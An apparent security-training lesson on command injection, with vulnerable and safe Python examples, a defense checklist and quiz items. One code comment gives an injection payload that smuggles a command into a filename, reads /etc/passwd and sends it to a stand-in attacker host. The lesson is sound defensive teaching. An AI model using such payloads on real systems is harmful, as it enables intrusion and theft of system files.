Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
Academy Command Injection
Intermediate · 20 min

Command Injection

Discover how attackers escape to the OS shell and the safe API calls that prevent shell interpretation.

1 What is Command Injection?

Command injection occurs when user input is passed to a system shell without proper handling. Shell metacharacters like ;, &&, |, $(...) allow attackers to append arbitrary commands.

# VULNERABLE
filename = request.form['filename']
os.system("convert " + filename + " output.png")
# Attacker sends: photo.jpg; cat /etc/passwd | curl attacker.com

The semicolon ends the convert command and starts a new one — giving the attacker full command execution on the server.

2 Safe APIs — Avoid the Shell

The safest approach is to never invoke a shell at all. Use API calls that take arguments as a list — they bypass shell interpretation entirely.

# SAFE — subprocess with list (no shell expansion)
import subprocess
result = subprocess.run(
    ['convert', filename, 'output.png'],
    capture_output=True
)

# UNSAFE — shell=True passes to /bin/sh
result = subprocess.run('convert ' + filename, shell=True)

When you pass a list of arguments, the OS executes the binary directly without invoking a shell, so metacharacters in the filename are treated as literal characters.

3 Input Validation & Allowlists

If you must pass user input to a command, validate it against a strict allowlist before use. For filenames, allow only [a-zA-Z0-9._-] and reject everything else.

import re, subprocess

def safe_convert(filename: str) -> None:
    # Allowlist: only alphanumeric, dots, hyphens, underscores
    if not re.fullmatch(r'[a-zA-Z0-9._-]+', filename):
        raise ValueError("Invalid filename")
    subprocess.run(['convert', filename, 'output.png'], check=True)

Defense checklist:

  • Use list-form subprocess/exec calls — never shell=True with user data
  • Validate with strict allowlist regex
  • Run the process with minimal privileges
  • Review every call to os.system, exec, popen, shell_exec, backticks

Knowledge Check

0/3 correct
Q1

Which character is most commonly used to chain extra shell commands in a command injection attack?

Q2

Why is subprocess.run(["cmd", arg], ...) safer than subprocess.run("cmd " + arg, shell=True)?

Q3

Which approach is the best for validating a filename before using it in a shell command?

Code Exercise

Replace Shell Invocation with Safe API

This function uses os.system() to ping a host — directly concatenating user input into a shell command. Rewrite it using subprocess.run() with a list of arguments (no shell=True).

python